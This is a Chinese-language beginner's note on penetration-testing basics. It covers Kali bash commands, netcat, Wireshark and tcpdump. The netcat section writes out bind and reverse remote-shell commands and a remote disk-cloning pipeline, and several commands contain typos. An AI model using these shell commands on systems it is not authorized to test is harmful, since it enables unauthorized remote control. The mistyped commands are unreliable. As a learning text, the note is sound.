渗透初学笔记
渗透测试的开始需要对其渗透的流程有着大概的理解,但是更为重要的是对于一些基础的工具的熟练掌握,以下简要介绍了bash、nc、wireshark的基础部分,但是看的再多都不如自己动手操作一下。实践和总结才是最好的老师。
kaili基础bash
- LS、cd、cat、more、tail、 cp、 rm、top、PS、 grep、 ifconfig、netstat、awk、 sort、 fdisk、mount、dmesg、find、 whereis、Echo、vi
- 管道
- Shell 脚本
几种不常用的命令解释:
more: Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。
语法
more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]
参数:
-num 一次显示的行数
-d 提示使用者,在画面下方显示 [Press space to continue, ‘q’ to quit.] ,如果使用者按错键,则会显示 [Press ‘h’ for instructions.] 而不是 ‘哔’ 声
-l 取消遇见特殊字元 ^L(送纸字元)时会暂停的功能
-f 计算行数时,以实际上的行数,而非自动换行过后的行数(有些单行字数太长的会被扩展为两行或两行以上)
-p 不以卷动的方式显示每一页,而是先清除萤幕后再显示内容
-c 跟 -p 相似,不同的是先显示内容再清除其他旧资料
-s 当遇到有连续两行以上的空白行,就代换为一行的空白行
-u 不显示下引号 (根据环境变数 TERM 指定的 terminal 而有所不同)
+/pattern 在每个文档显示前搜寻该字串(pattern),然后从该字串之后开始显示
+num 从第 num 行开始显示
fileNames 欲显示内容的文档,可为复数个数
tail: tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。
tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。
命令格式:
tail [参数] [文件]
参数:
-f 循环读取
-q 不显示处理信息
-v 显示详细的处理信息
-c<数目> 显示的字节数
-n<行数> 显示文件的尾部 n 行内容
–pid=PID 与-f合用,表示在进程ID,PID死掉之后结束
-q, --quiet, --silent 从不输出给出文件名的首部
-s, --sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S秒
top: Linux top命令用于实时显示 process 的动态。
使用权限:所有使用者。
语法
top [-] [d delay] [q] [c] [S] [s] [i] [n] [b]
参数说明:
d : 改变显示的更新速度,或是在交谈式指令列( interactive command)按 s
q : 没有任何延迟的显示速度,如果使用者是有 superuser 的权限,则 top 将会以最高的优先序执行
c : 切换显示模式,共有两种模式,一是只显示执行档的名称,另一种是显示完整的路径与名称S : 累积模式,会将己完成或消失的子行程 ( dead child process ) 的 CPU time 累积起来
s : 安全模式,将交谈式指令取消, 避免潜在的危机
i : 不显示任何闲置 (idle) 或无用 (zombie) 的行程
n : 更新的次数,完成后将会退出 top
b : 批次档模式,搭配 “n” 参数一起使用,可以用来将 top 的结果输出到档案内
ps: Linux ps命令用于显示当前进程 (process) 的状态。
语法
ps [options] [--help]
参数:
ps 的参数非常多, 在此仅列出几个常用的参数并大略介绍含义
-A 列出所有的行程
-w 显示加宽可以显示较多的资讯
-au 显示较详细的资讯
-aux 显示所有包含其他使用者的行程
au(x) 输出格式 :
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
USER: 行程拥有者
PID: pid
%CPU: 占用的 CPU 使用率
%MEM: 占用的记忆体使用率
VSZ: 占用的虚拟记忆体大小
RSS: 占用的记忆体大小
TTY: 终端的次要装置号码 (minor device number of tty)
STAT: 该行程的状态:
D: 无法中断的休眠状态 (通常 IO 的进程)
R: 正在执行中
S: 静止状态
T: 暂停执行
Z: 不存在但暂时无法消除
W: 没有足够的记忆体分页可分配
<: 高优先序的行程
N: 低优先序的行程
L: 有记忆体分页分配并锁在记忆体内 (实时系统或捱A I/O)
START: 行程开始时间
TIME: 执行的时间
COMMAND:所执行的指令
grep: Linux grep 命令用于查找文件里符合条件的字符串。(rgrep用于递归查找)
grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。
语法
grep [-abcEFGhHilLnqrsvVwxy][-A<显示列数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范本样式>][-f<范本文件>][--help][范本样式][文件或目录...]
参数:
-a 或 --text : 不要忽略二进制的数据。
-A<显示行数> 或 --after-context=<显示行数> : 除了显示符合范本样式的那一列之外,并显示该行之后的内容。
-b 或 --byte-offset : 在显示符合样式的那一行之前,标示出该行第一个字符的编号。
-B<显示行数> 或 --before-context=<显示行数> : 除了显示符合样式的那一行之外,并显示该行之前的内容。
-c 或 --count : 计算符合样式的列数。
-C<显示行数> 或 --context=<显示行数>或-<显示行数> : 除了显示符合样式的那一行之外,并显示该行之前后的内容。
-d <动作> 或 --directories=<动作> : 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep指令将回报信息并停止动作。
-e<范本样式> 或 --regexp=<范本样式> : 指定字符串做为查找文件内容的样式。
-E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。
-f<规则文件> 或 --file=<规则文件> : 指定规则文件,其内容含有一个或多个规则样式,让grep查找符合规则条件的文件内容,格式为每行一个规则样式。
-F 或 --fixed-regexp : 将样式视为固定字符串的列表。
-G 或 --basic-regexp : 将样式视为普通的表示法来使用。
-h 或 --no-filename : 在显示符合样式的那一行之前,不标示该行所属的文件名称。
-H 或 --with-filename : 在显示符合样式的那一行之前,表示该行所属的文件名称。
-i 或 --ignore-case : 忽略字符大小写的差别。
-l 或 --file-with-matches : 列出文件内容符合指定的样式的文件名称。
-L 或 --files-without-match : 列出文件内容不符合指定的样式的文件名称。
-n 或 --line-number : 在显示符合样式的那一行之前,标示出该行的列数编号。
-o 或 --only-matching : 只显示匹配PATTERN 部分。
-q 或 --quiet或–silent : 不显示任何信息。
-r 或 --recursive : 此参数的效果和指定"-d recurse"参数相同。
-s 或 --no-messages : 不显示错误信息。
-v 或 --revert-match : 显示不包含匹配文本的所有行。
-V 或 --version : 显示版本信息。
-w 或 --word-regexp : 只显示全字符合的列。
-x --line-regexp : 只显示全列符合的列。
-y : 此参数的效果和指定"-i"参数相同。
awk: 较复杂,需要另外学习才能熟练掌握。
sort:Linux sort命令用于将文本文件内容加以排序。
sort可针对文本文件的内容,以行为单位来排序。
语法
sort [-bcdfimMnr][-o<输出文件>][-t<分隔字符>][+<起始栏位>-<结束栏位>][--help][--verison][文件]
参数说明:
-b 忽略每行前面开始出的空格字符。
-c 检查文件是否已经按照顺序排序。
-d 排序时,处理英文字母、数字及空格字符外,忽略其他的字符。
-f 排序时,将小写字母视为大写字母。
-i 排序时,除了040至176之间的ASCII字符外,忽略其他的字符。
-m 将几个排序好的文件进行合并。
-M 将前面3个字母依照月份的缩写进行排序。
-n 依照数值的大小排序。
-u 意味着是唯一的(unique),输出的结果是去完重了的。
-o<输出文件> 将排序后的结果存入指定的文件。
-r 以相反的顺序来排序。
-t<分隔字符> 指定排序时所用的栏位分隔字符。
+<起始栏位>-<结束栏位> 以指定的栏位来排序,范围由起始栏位到结束栏位的前一栏位。
–help 显示帮助。
–version 显示版本信息
Linux dmesg命令用于显示开机信息。
kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存在/var/log目录中,名称为dmesg的文件里。
语法
dmesg [-cn][-s <缓冲区大小>]
参数说明:
-c 显示信息后,清除ring buffer中的内容。
-s<缓冲区大小> 预设置为8196,刚好等于ring buffer的大小。
-n 设置记录信息的层级。
基本工具
nc(netcat)
root@kali:~# nc -h
[v1.10-41.1+b1]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. ‘ftp-data’).
这里不会叫大家阅读这些参数来熟悉掌握,只是走个流程QAQ。尽量通过实例去理解能达到事半功倍的效果。
nc使用机作为客户机的时候常使用的命令是n、v。
不建议直接解析域名然后连接,这样比较慢,一般先解析域名(ping)以后直接连接IP端口。
应用
1.nc一个网页IP(如某XX邮箱的地址,以及对应的默认端口)可以实现命令行发送邮件。
=== ====
2.实现两台机子聊天交互(文本传输)。
命令:机一:nc -l -p D
机二:nc -nv IP D
D: 机一打算开放的端口号
IP:机一IP
上面图片:在window(服务端)上开启监听,在kali上进行连接,就可以直接发送消息传输到对面了。
用途:电子取证尽可能减少对取证对象硬盘的修改。
例如:
接下来还有很多的操作都是利用这个原理进行的,可以将系统的很多信息通过这种方式传输复制出去。
=== ===
- 传输(加密)文件/目录
文件
(没用设置路径,接受文件默认在home里)
A: nc lp D> 1.mp4
B: nc -nv IP D< 1.mp4 -q 1(监听端口作为接受端,接受文件输入为1.mp4文件)
或
A: nc -q lp D < a.mp4
B: nc -nv IP D > 2.mp4(监听端口作为输出端,输出文件a.mp4)
传输目录
A: tar -cvf - music/ | nc -lp D -q 1
B: nc-nv IP D| tar -xvf -加密传文件(nc本身不能加密,借助了小工具mcrypt-额外安装)
A: nc -lp D | mcrypt -flush -Fbqd -a rjndael-256 -m ecb > 1.mp4
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv IP D -q 1其中D:开启的端口。
=== ===
- 流媒体服务
A: cat 1.mp4| nc lp D
B: nc -nv IP D | mplayer -vo x11 cache 3000 -可以直接播放传递流,本地无需下载保存,直接播放视频
=== ===
- 端口扫描
nc -nvz IP D (默认tcp端口)(加u等参数可以扫描其他端口)
D为想扫描IP上的端口范围:如1-65535全端口扫描
=== ===
- 远程克隆硬盘
A:nc -Ip 333| dd of=/dev/sda
B:dd if=/dev/sda| nc -nv IP D -q 14(被删除了信息,可以也可以复制进来,是磁盘硬件【磁道】水平的复制,后继可以进行文件复原操作)
=== ===
- 远程控制
正向:
A: nc -lp D -C bash
B: nc IP D
反向:
A:nc -lp D
B: nc IP D -C bash
注: Windows用户把bash改成cmd;
NC-----NCAT
nc缺乏加密和身份验证的能力
ncat包含于nmap工具包中
A: ncat -C bash --allow IP -Vnl D -ssI
B: ncat -nv IP D -ssl
D 端口信息
ssl其中一种加密方式
不同系统/平台的nc参数功能不尽相同
Wireshark
强大的流量分析软件。安全人员必备技能。
主要是对各个所需协议的熟悉。
例子:数据包解析层:
Frame:物理层的数据帧概况
Ethernet II: 数据链路层以太网头部帧
Internet Protocol Version 4:互联网层IP包头的信息
Transmission Control Protocol:传输层的数据段头部信息,此处是TCP协议。
Hypertext Transfer Protocol:应用层的信息,此处是HTTP协议
以下是简单举例,结合上面分层有个直观的理解。
ARP
有三层结构:物理层、数据链路层(以太网)、ARP数据包
(从上到下按顺序—不一定是协议的分层顺序)
第一层:包含了包的帧数,包的大小等一些基础统计信息。
第二层:进入数据包内容分析。包含目标地址、源地址第二层上面(第三层)是什么协议、栈位字段(Padding)
ARP数据包:开始会有ARP的包头标志。改包会进行mac与IP之间的转化,包含了IP、mac地址的转化信息(type、size、)
SSDP
最为重要的应该算是TCP/IP协议、http等。这些最好都熟悉一下~(可以去wireshark网址下载你所需要学习类型的包)
统计
1.节点数
2.协议分布
3.包大小分布
4.会话连接
5.解码方式
6.专家系统
TCPDUMP
优势:灵活,且linux基本都会默认安装。不需要另外安装。
用法:
-
默认只抓68个字节(不过不加其他参数)
-
tcpdump -i eth0 -s 0 w file.pcap
-
tcpdump -i eth0 port 22
-
读取抓包文件:tcpdump -r file.pcap
-
筛选:(-r:读取 -n:不进行解析,显示IP)
-
tcpdum -r -n xxx.pcap (各种参数)
tcpdump -n -r http.cap| awk {print $3} | sort -U
tcpdump -n srC host 145.254. 160.237 -T http.cap
tcpdump -n dst host 145.254.1 60.237 -r http.cap
tepdump -n port 53 -r http.cap
tcpdump -nX port 80 -r http.cap
以上简要介绍了工具nc、wireshark、tcpdum的基操,接下来的内容是信息侦察和搜集~